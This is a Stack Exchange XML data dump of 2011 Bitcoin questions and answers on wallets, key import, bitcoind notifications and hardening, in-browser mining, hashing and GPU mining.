  <row Id="1353" PostTypeId="1" AcceptedAnswerId="1356" CreationDate="2011-10-03T21:17:11.610" Score="9" ViewCount="1685" Body="&lt;p&gt;Is there a way to be notified by bitcoind via the CLI that some incoming transaction has been confirmed?&lt;/p&gt;&#xA;" OwnerUserId="537" LastActivityDate="2011-10-04T02:41:22.467" Title="Push notification of incoming transaction" Tags="|transactions|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1354" PostTypeId="1" CreationDate="2011-10-04T01:29:42.347" Score="7" ViewCount="1579" Body="&lt;p&gt;When the option to import/export keys is implemented, will fees be charged in this kind of transaction?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;My friend exports a key from their wallet with 2 BTC.&lt;/li&gt;&#xA;&lt;li&gt;My friend sends me this exported key by email.&lt;/li&gt;&#xA;&lt;li&gt;I receive the key and import it to my wallet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="276" LastEditorUserId="1878" LastEditDate="2013-03-14T04:12:50.347" LastActivityDate="2018-07-19T06:54:55.797" Title="Will fees be charged when importing a key to my wallet?" Tags="|wallet|transaction-fees|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1355" PostTypeId="2" ParentId="1354" CreationDate="2011-10-04T01:53:47.153" Score="10" Body="&lt;p&gt;Since the &quot;transaction&quot; is not going through the bitcoin network, I can't see how a fee could be charged.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2011-10-04T01:53:47.153" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1356" PostTypeId="2" ParentId="1353" CreationDate="2011-10-04T02:28:54.390" Score="13" Body="&lt;p&gt;A transaction can only be confirmed by a new block being added to the chain. And since that happens on average every ten minutes, it would work just as well to be notified when a block is discovered (and/or the chain is reorganized). You can then check any transactions you care about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to be notified if the chain is changed in any way is with my native long polling patch. This should apply pretty cleanly to any recent version of the client (but is based on 0.4.0):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;diff -u orig/init.cpp new/init.cpp&#xA;--- orig/init.cpp   2011-09-25 08:29:53.935505617 -0700&#xA;+++ new/init.cpp    2011-09-25 08:48:13.667215990 -0700&#xA;@@ -199,6 +200,7 @@&#xA;             &quot;  -rpcport=&amp;lt;port&amp;gt;  \t\t  &quot; + _(&quot;Listen for JSON-RPC connections on &amp;lt;port&amp;gt; (default: 8332)\n&quot;) +&#xA;             &quot;  -rpcallowip=&amp;lt;ip&amp;gt; \t\t  &quot; + _(&quot;Allow JSON-RPC connections from specified IP address\n&quot;) +&#xA;             &quot;  -rpcconnect=&amp;lt;ip&amp;gt; \t  &quot;   + _(&quot;Send commands to node running on &amp;lt;ip&amp;gt; (default: 127.0.0.1)\n&quot;) +&#xA;+            &quot;  -pollpidfile=&amp;lt;f&amp;gt; \t  &quot;   + _(&quot;Support long polling\n&quot;) +&#xA;             &quot;  -keypool=&amp;lt;n&amp;gt;     \t  &quot;   + _(&quot;Set key pool size to &amp;lt;n&amp;gt; (default: 100)\n&quot;) +&#xA;             &quot;  -rescan          \t  &quot;   + _(&quot;Rescan the block chain for missing wallet transactions\n&quot;);&#xA;&#xA;diff -u orig/main.cpp new/main.cpp&#xA;--- orig/main.cpp   2011-09-25 08:29:53.937505613 -0700&#xA;+++ new/main.cpp    2011-09-25 08:48:13.667215990 -0700&#xA;@@ -1118,6 +1118,7 @@&#xA; bool CBlock::SetBestChain(CTxDB&amp;amp; txdb, CBlockIndex* pindexNew)&#xA; {&#xA;     uint256 hash = GetHash();&#xA;+    bool lp = false;&#xA;&#xA;     txdb.TxnBegin();&#xA;     if (pindexGenesisBlock == NULL &amp;amp;&amp;amp; hash == hashGenesisBlock)&#xA;@@ -1160,6 +1161,7 @@&#xA;     // Update best block in wallet (so we can detect restored wallets)&#xA;     if (!IsInitialBlockDownload())&#xA;     {&#xA;+        lp = true;&#xA;         const CBlockLocator locator(pindexNew);&#xA;         ::SetBestChain(locator);&#xA;     }&#xA;@@ -1173,6 +1175,23 @@&#xA;     nTransactionsUpdated++;&#xA;     printf(&quot;SetBestChain: new best=%s  height=%d  work=%s\n&quot;, hashBestChain.ToString().substr(0,20).c_str(), nBest&#xA;&#xA;+    if (lp)&#xA;+    {&#xA;+        // Support long polling&#xA;+        string lp_pid = mapArgs[&quot;-pollpidfile&quot;];&#xA;+        if(lp_pid != &quot;&quot;)&#xA;+        {&#xA;+            FILE *pidFile = fopen(lp_pid.c_str(), &quot;r&quot;);&#xA;+            if(pidFile!=NULL)&#xA;+            {&#xA;+                int pid=0;&#xA;+                if ((fscanf(pidFile, &quot;%d&quot;, &amp;amp;pid) == 1) &amp;amp;&amp;amp; (pid &amp;gt; 1))&#xA;+                    kill((pid_t) pid, SIGUSR1);&#xA;+                fclose(pidFile);&#xA;+            }&#xA;+        }&#xA;+    }&#xA;+&#xA;     return true;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use it, just start &lt;code&gt;bitcoin&lt;/code&gt; or &lt;code&gt;bitcoind&lt;/code&gt; with a command line argument of&lt;br&gt;&lt;code&gt;-pollpidfile=/path/to/some/file&lt;/code&gt;. Then write your monitor process' PID to that file. You will receive a &lt;code&gt;SIGUSR1&lt;/code&gt; on any block chain change.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-10-04T02:41:22.467" LastActivityDate="2011-10-04T02:41:22.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1357" PostTypeId="2" ParentId="2" CreationDate="2011-10-04T02:32:00.927" Score="1" Body="&lt;p&gt;In the long term, the lifetime of the hardware may also become a significant factor in calculating the ROI (Return On Investment), especially if technological developments reduce the power consumption to a negligible level.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2011-10-04T02:32:00.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1358" PostTypeId="1" AcceptedAnswerId="1359" CreationDate="2011-10-04T10:52:16.660" Score="9" ViewCount="405" Body="&lt;ul&gt;&#xA;&lt;li&gt;Is there any good tutorial, discussion or implementation of &lt;code&gt;bitcoind&lt;/code&gt; for business?&lt;/li&gt;&#xA;&lt;li&gt;What's the best Bitcoin.conf?&lt;/li&gt;&#xA;&lt;li&gt;How to expose the Bitcoind API to the internet?&lt;/li&gt;&#xA;&lt;li&gt;How to guarantee confidentiality, integrity and availability? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically I'm looking for advices on how not to turn my small online shop into the new mybitcoin.com :)&lt;/p&gt;&#xA;" OwnerUserId="537" LastEditorUserId="1409" LastEditDate="2012-11-24T10:54:22.310" LastActivityDate="2022-05-27T15:52:50.120" Title="How can I best implement Bitcoin in my business?" Tags="|security|bitcoind|ecommerce|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1359" PostTypeId="2" ParentId="1358" CreationDate="2011-10-04T14:54:44.537" Score="8" Body="&lt;p&gt;Just some quick tips to get you started:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;run with 'noirc=1' so that your node IP isn't discoverable via IRC&lt;/li&gt;&#xA;&lt;li&gt;run with several 'connect=&amp;lt;sometrustednodeip&amp;gt;' so your node only connects to other specific nodes that you trust&lt;/li&gt;&#xA;&lt;li&gt;do not expose the json api to the internet at large, confine it to localhost or specific ip only.&lt;/li&gt;&#xA;&lt;li&gt;if you plan to hold a significant amount of bitcoins, then estimate how many you'll need for your daily float, and save the rest in an offline wallet (also generated on an offline computer - don't leave traces of your keys on any internet-connected disk)&lt;/li&gt;&#xA;&lt;li&gt;do not accept 0-confirmation transactions, other than for really trivial amounts where speed of delivery is of the essence.&lt;/li&gt;&#xA;&lt;li&gt;do use new bitcoin addresses for every new customer and order. address reuse makes it easier to track your customers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There are probably a more items that could be added to the list, this is certainly not to be treated as comprehensive.&lt;/p&gt;&#xA;" OwnerUserId="441" LastEditorUserId="42185" LastEditDate="2022-05-27T15:52:50.120" LastActivityDate="2022-05-27T15:52:50.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1360" PostTypeId="1" CreationDate="2011-10-04T17:41:57.903" Score="6" ViewCount="132" Body="&lt;p&gt;When the import/export key be implemented I would like to know if it will be possible to export a key with an option like: The exported file can only be imported one time, or that the exported key was exported with an option that removed the key from the wallet that exported it. I ask this because I would like to receive for example a exported key file from someone but with the certainty that the key is not on this someone wallet anymore (or any other wallet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this be possible?&lt;/p&gt;&#xA;" OwnerUserId="276" LastEditorUserId="105" LastEditDate="2011-10-04T18:12:58.037" LastActivityDate="2011-10-05T05:48:54.150" Title="Will it be possible to export a key and only allow it to be imported once?" Tags="|development|wallet|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1361" PostTypeId="2" ParentId="1360" CreationDate="2011-10-04T17:59:57.513" Score="2" Body="&lt;p&gt;No it would not be possible. The exporting party can always keep a copy of the key if it so desires, simply by making a wallet backup prior to export. You should always assume that any keys/wallets that you receive from others have copies retained by the sender.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-10-04T17:59:57.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1362" PostTypeId="2" ParentId="1360" CreationDate="2011-10-04T18:05:34.960" Score="5" Body="&lt;p&gt;No, there is no way to keep track of what people do with their private keys. You could easily write down the key before exporting it and you can use it without ever importing it to a wallet. It's possible to construct a transaction from the private key manually or using some 3rd party software and then broadcast that transaction to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you want to be able to send money without using the blockchain by simply passing private keys around. You then run into the &lt;a href=&quot;http://en.wikipedia.org/wiki/Double-spending&quot;&gt;double-spending&lt;/a&gt; problem. This is exactly the problem that the blockchain is solving. So, no, if you want to securely send bitcoins you will have to use the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-10-04T18:05:34.960" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1363" PostTypeId="2" ParentId="1360" CreationDate="2011-10-04T18:27:45.493" Score="0" Body="&lt;p&gt;By design, Bitcoin has only one owner, a key has many.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the coins guarantee unique ownership, otherwise it would be a nightmare, backup-wise.&lt;/p&gt;&#xA;" OwnerUserId="537" LastActivityDate="2011-10-04T18:27:45.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1364" PostTypeId="1" AcceptedAnswerId="1367" CreationDate="2011-10-05T00:45:36.297" Score="13" ViewCount="7827" Body="&lt;p&gt;&quot;Bitcoin Plus&quot; is one example of a javascript bitcoin mining client that can CPU mine bitcoins through a browser when viewing a website. Here is a screenshot from 4bitcoins dot com which automatically starts the miner when you load the page:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yHt6M.jpg&quot; alt=&quot;Bitcoin Plus running on 4bitcoins dot com&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be considered a form of theft for a website to profit from the extra electricity used by a viewer of the page, and definitely isn't environmentally friendly as CPU mining through javascript is hugely inefficient and any revenue earned doesn't even come close to covering the cost of the electricity consumed (and besides, in this case the benefit is to the website, and the cost is to the user). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing some quick maths I'd estimate that the mining would earn the website owner around 0.12 US cents per 24hrs running, at a cost of around 17 cents to the user in power (assumed 1BTC=$5US, difficulty around 1.8m, power 14c/kWh). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, it's desirable to block such functionality from running without the user's consent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could such integrated mining be disabled without blanket-disabling javascript on all websites? Bear in mind that even though the miner is visible on 4bitcoins dot com, it doesn't need to be visible to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: I didn't use standard syntax for the website name, as that will only encourage search engines to send more traffic there!&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="5406" LastEditDate="2016-01-23T12:50:53.343" LastActivityDate="2017-12-16T14:22:45.093" Title="How can I stop websites running an integrated Bitcoin miner without disabling javascript altogether?" Tags="|security|javascript|cpu-mining|" AnswerCount="6" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1365" PostTypeId="2" ParentId="1360" CreationDate="2011-10-05T00:53:40.300" Score="0" Body="&lt;p&gt;This is impossible in principle. It would take a physical hardware security device to prevent someone from replicating the key or generating a signed transaction with the key while they have it that they can publish later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, &lt;em&gt;you&lt;/em&gt; generate the key and give them the address. Have them send the Bitcoins to that address. You will know that only you have the key because you generated it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-05T00:53:40.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1366" PostTypeId="2" ParentId="1364" CreationDate="2011-10-05T01:00:59.103" Score="6" Body="&lt;p&gt;You would need some kind of browser plug-in that monitors the CPU consumption of JavaScript and alerts you if you see excessive usage for an extended period of time.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-05T01:00:59.103" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1367" PostTypeId="2" ParentId="1364" CreationDate="2011-10-05T01:32:33.643" Score="12" Body="&lt;p&gt;You can use &lt;a href=&quot;http://adblockplus.org/en/&quot;&gt;Adblock Plus&lt;/a&gt; to block the miner script.  In this case it would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.bitcoinplus.com/js/miner.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-10-05T01:32:33.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1368" PostTypeId="2" ParentId="1364" CreationDate="2011-10-05T03:43:20.157" Score="4" Body="&lt;p&gt;It isn't really theft if you're broadcasting your availability to run javascripts. There are blockers that allow you to selectively block javascript files - check your browser's extensions (Chrome and FF both have many options).&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-10-05T03:43:20.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1369" PostTypeId="2" ParentId="1360" CreationDate="2011-10-05T05:41:44.577" Score="1" Body="&lt;p&gt;No and trying to do so breaks the security of bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to send someone coins then create a transaction.  This will be verified by the network and the wealth can be safely and irreversibly transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bitcoin address merely consists of a public key and private key.  The address doesn't store any other secret locally (like a code which determines how much it is worth).  The client (and any other client) can determine how much a particular address is worth by using the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that an address merely consists of two keys (strings of numbers) there is no possible mechanism to ensure that when you are given a copy that no other copy exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One thing you can do:&lt;/strong&gt;&#xA;Immediately verify the coins still exist and then transfer it to another address you own (one which has a secret private key).  Once confirmed that transaction is irreversable and your funds are no longer at risk.  The &quot;potentially compromised&quot; address can then be deleted.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-05T05:48:54.150" LastActivityDate="2011-10-05T05:48:54.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1370" PostTypeId="2" ParentId="2" CreationDate="2011-10-05T05:45:26.773" Score="2" Body="&lt;p&gt;Currently the 5970 is the undisputed champ.  It is much cheaper than the 6990 and offers better performance per watt.  Being a two GPU design it has high density.  Only the 6990 has higher density but that comes with higher capital cost and energy cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So&#xA;best in terms of Hashes/$ = 5970&#xA;best in terms of Hashes/W = 5970&#xA;second best in terms of Hashes/system = 5970&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hard part is finding them as they are no longer being produced.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-10-05T05:45:26.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1371" PostTypeId="2" ParentId="690" CreationDate="2011-10-05T09:23:29.667" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://StrongCoin.com&quot; rel=&quot;nofollow&quot;&gt;http://StrongCoin.com&lt;/a&gt; provides the ability to create an account from an imported MiniKey.  They have a fee of 1% of each spend, plus (currently) a 0.01 BTC network transaction fee.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-10-05T09:23:29.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1372" PostTypeId="1" AcceptedAnswerId="1373" CreationDate="2011-10-05T13:09:17.883" Score="10" ViewCount="739" Body="&lt;p&gt;What happened to this transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/t/9eHTFRi3Qq&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/t/9eHTFRi3Qq&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="537" LastEditorUserId="2306" LastEditDate="2014-09-14T20:12:10.043" LastActivityDate="2014-09-14T20:12:10.043" Title="Strange transaction (block 71036)" Tags="|blockchain|blockchain-fork|weaknesses|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1373" PostTypeId="2" ParentId="1372" CreationDate="2011-10-05T15:02:04.950" Score="11" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;On July 29 2010, it was discovered that block 71036 contained several transactions with a ton of OP_CHECKSIG commands. There should only ever be one such command. This caused every node to do extra unnecessary work, and it could have been used as a denial-of-service attack. A new version of Bitcoin was quickly released. The new version did not cause a fork on the main network, though it did cause one on the test network (where someone had played around with the attack more).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Incidents#OP_CHECKSIG_abuse&quot;&gt;https://en.bitcoin.it/wiki/Incidents#OP_CHECKSIG_abuse&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2011-10-05T15:02:04.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1374" PostTypeId="2" ParentId="690" CreationDate="2011-10-05T18:00:19.217" Score="4" Body="&lt;p&gt;It is now possible to redeem a Casascius private key at &lt;a href=&quot;http://www.mtgox.com&quot; rel=&quot;nofollow&quot;&gt;MtGox&lt;/a&gt; if you have an account there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under &quot;Add funds&quot;, choose &quot;Redeem private key&quot;, then &quot;SHA-256 Private Key&quot;. The full amount of the private key will be added to your MtGox account.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-10-05T18:00:19.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1375" PostTypeId="2" ParentId="703" CreationDate="2011-10-05T18:02:12.287" Score="10" Body="&lt;p&gt;It [edit: was] possible to redeem a private key at &lt;a href=&quot;http://www.mtgox.com&quot; rel=&quot;nofollow&quot;&gt;MtGox&lt;/a&gt;. Under &quot;Add funds&quot;, choose &quot;Redeem private key&quot; and pick the format that you want to enter the private key in. The full amount of the private key will be added to your MtGox account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: It is also possible at &lt;a href=&quot;https://blockchain.info/wallet/&quot; rel=&quot;nofollow&quot;&gt;My Wallet&lt;/a&gt; (blockchain.info).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update2&lt;/strong&gt;: Mycelium wallet for Android app has a &quot;cold storage&quot; feature.  You simply scan (or enter) the private key, then scan (or enter) the Bitcoin address t send the funds to.  Hit send and you are done.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="153" LastEditDate="2014-02-28T12:16:21.197" LastActivityDate="2014-02-28T12:16:21.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1376" PostTypeId="1" AcceptedAnswerId="1378" CreationDate="2011-10-05T22:19:39.240" Score="9" ViewCount="3047" Body="&lt;p&gt;Someone has n machines to mine for bitcoins. What's the simplest way to ensure that mining work isn't duplicated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Will separate machines naturally work on different hashes even with the same recipient of rewards, or will there need to be some sort of pool software running organising nodes? Would having each new node create a wallet first be sufficent?)&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="5406" LastEditDate="2016-01-27T16:42:32.237" LastActivityDate="2018-12-16T06:18:02.833" Title="How do I keep my miners from doing duplicate work?" Tags="|mining-pools|getwork|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1377" PostTypeId="2" ParentId="1376" CreationDate="2011-10-05T22:45:58.173" Score="3" Body="&lt;p&gt;By default a bitcoin node does not hand out duplicate getworks. Neither do any of the mining pools. So you don't need to do anything special, just point your miners at some source of work units, either a pool or your own instance of bitcoin, and off you go.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-10-05T22:45:58.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1378" PostTypeId="2" ParentId="1376" CreationDate="2011-10-05T22:49:12.650" Score="5" Body="&lt;p&gt;My understanding of the mining mechanism is this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The miner connects to a Bitcoin client (or pool) and submits a getwork request&lt;/li&gt;&#xA;&lt;li&gt;The client (or pool) responds with a chunk of data containing the block data, including the randomized bits, and the nonce (the bit which the miner changes)&lt;/li&gt;&#xA;&lt;li&gt;The miner increments the nonce multiple times until it either finds a solution or overflows, at which point it submits a new getwork request to the client (or pool)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since the client/pool is responsible for handing out the getwork requests, the client/pool is also responsible for guarding against duplication. Since the entropy of the data handed out by getwork must, by definition, be greater than or equal to the output entropy of SHA256 (2^256 bits) it should have the same or lower chance of collision (1/2^256).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case a &quot;collision&quot; would be handing the same work to multiple miners and so we can say that multiple miners being given duplicate work has so low a risk of occurrence as to be a negligible risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my favorite comp sci professors once told me that the chance of such a collision (per unit of work) is about the same as winning the state lottery 11 times in a row, then being struck by lightning, surviving and being elected president. And he had the math to back this up...&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-10-05T23:00:44.897" LastActivityDate="2011-10-05T23:00:44.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1379" PostTypeId="2" ParentId="1299" CreationDate="2011-10-06T00:27:11.150" Score="4" Body="&lt;p&gt;Catalyst 11.9 resolved the issue for those mining on single GPUs but not multiple GPUs (including single cards which contain multiple GPUs like the 6990 and 5970). You can try setting the &lt;code&gt;-f&lt;/code&gt; flag to higher numbers until CPU usage is reduced or try setting &lt;code&gt;-aggression&lt;/code&gt; to 10 or lower. Note that these settings might reduce your hashrate significantly depending on how aggressively you change them from defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bug in question was introduced in Catalyst version 11.5 and at the time affected only multi-GPU setups. It remained in place for version 11.6 and in 11.7 actually began affecting single-GPU systems as well. In 11.9 the single-GPU bug was fixed, but the multi-GPU bug is still in place. There is a beta release of 11.10 available but I've not heard anything about whether it fixes the 100% bug or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick search shows that the 11.4 drivers are still available for &lt;a href=&quot;http://www.filehippo.com/download_ati_catalyst_vista/9747/&quot; rel=&quot;nofollow&quot;&gt;32&lt;/a&gt; and &lt;a href=&quot;http://downloads.guru3d.com/AMD-Catalyst-11.4-Win-7-Vista-x64-download-2711.html&quot; rel=&quot;nofollow&quot;&gt;64&lt;/a&gt; bit systems. Assuming you don't need anything that the newer drivers offer for non-mining purposes, 11.4 is probably your best bet. If you're running dedicated rigs it's &lt;em&gt;definitely&lt;/em&gt; your best bet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;em&gt;It appears that 11.10 did not fix the multi-GPU bug so 11.4 is still your best bet.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-10-06T20:27:02.653" LastActivityDate="2011-10-06T20:27:02.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1380" PostTypeId="1" AcceptedAnswerId="1382" CreationDate="2011-10-06T12:01:24.870" Score="13" ViewCount="3599" Body="&lt;p&gt;MD5 used to be &lt;strong&gt;the&lt;/strong&gt; hash algorithm. Everyone loved it, but now, not so much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will happen to bitcoin if flaws are found in SHA256 in the future?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2019-05-27T08:57:39.137" Title="What will happen when SHA 256 needs to be replaced?" Tags="|blockchain|development|hash|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1381" PostTypeId="2" ParentId="1380" CreationDate="2011-10-06T12:35:26.537" Score="-1" Body="&lt;p&gt;Since SHA256 has been used for such a long time, it is reasonable secure from a cryptoanalysis attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is still vulnerable from a brute force attack, even though it is still reasonably secure for at least the next X Years (where X &gt; 10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow this question was already posed and there are several candidates eligible for succession:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/SHA-3&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/SHA-3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MD5 fell out of use because the computational capacity rose over the years, thus making cryptoanalysis easier and thus leading to the discovery of several flaws.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be more afraid of quantum calculators, which will make today hashing techniques useless.&lt;/p&gt;&#xA;" OwnerUserId="537" LastEditorUserId="537" LastEditDate="2011-10-06T12:56:00.807" LastActivityDate="2011-10-06T12:56:00.807" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1382" PostTypeId="2" ParentId="1380" CreationDate="2011-10-06T12:59:02.043" Score="9" Body="&lt;p&gt;I'm assuming you mean what will happen to Bitcoin if SHA256 is discovered to no longer be suitable for use as Bitcoin uses it. First, such a thing is likely to happen very gradually. We'll first see hints of weaknesses and attacks that currently take millions of years will shrink to thousands of years and then hundreds of years. So there will be plenty of time to arrange a change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Bitcoin &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Addresses&quot;&gt;addresses&lt;/a&gt; also use RIPEMD-160, which is likely weaker than SHA-256. However, the way they're used, weaknesses in RIPEMD-160 might not actually create problems for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, whatever changes needed to be made to the protocol would have to be worked out. Possibly any other changes deemed advantageous could be made at the same time, since protocol-breaking changes are rare. Some fields may need to be expanded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A particular block would be picked, after which the new methods would start. Everyone would have to upgrade before then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think every effort would be made to keep the block header size the same so the mining algorithm didn't have to change. This may mean having to add an intermediate header. The intermediate header would contain the larger hashes of the previous block, transaction tree, and so on. The hash of the intermediate header would go in the block the miners try to mine, reducing its three hash fields to just one. (And allowing the nonce to be expanded to 64-bits! Yay!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If addresses or transactions had to change, then after that chosen block, new-style transactions would be permitted. Coins not transferred to new-style accounts might become vulnerable to attack, in theory. Because Bitcoin transactions already have input and outputs that function in a logically independent way, there would be no problem with importing coins with an old-style address/signature and sending them to a new-style address.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-10-06T13:15:27.603" LastActivityDate="2011-10-06T13:15:27.603" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1384" PostTypeId="1" AcceptedAnswerId="1386" CreationDate="2011-10-06T14:59:26.153" Score="3" ViewCount="697" Body="&lt;p&gt;Where can one exchange &lt;a href=&quot;http://www.tenebrix.org/about--faq.html&quot; rel=&quot;nofollow&quot;&gt;Tenebrix&lt;/a&gt; (a CPU-friendly cryptocurrency) for Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="196" LastEditDate="2013-03-03T14:03:08.327" LastActivityDate="2013-03-03T14:03:08.327" Title="What exchanges support Tenebrix?" Tags="|tenebrix|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
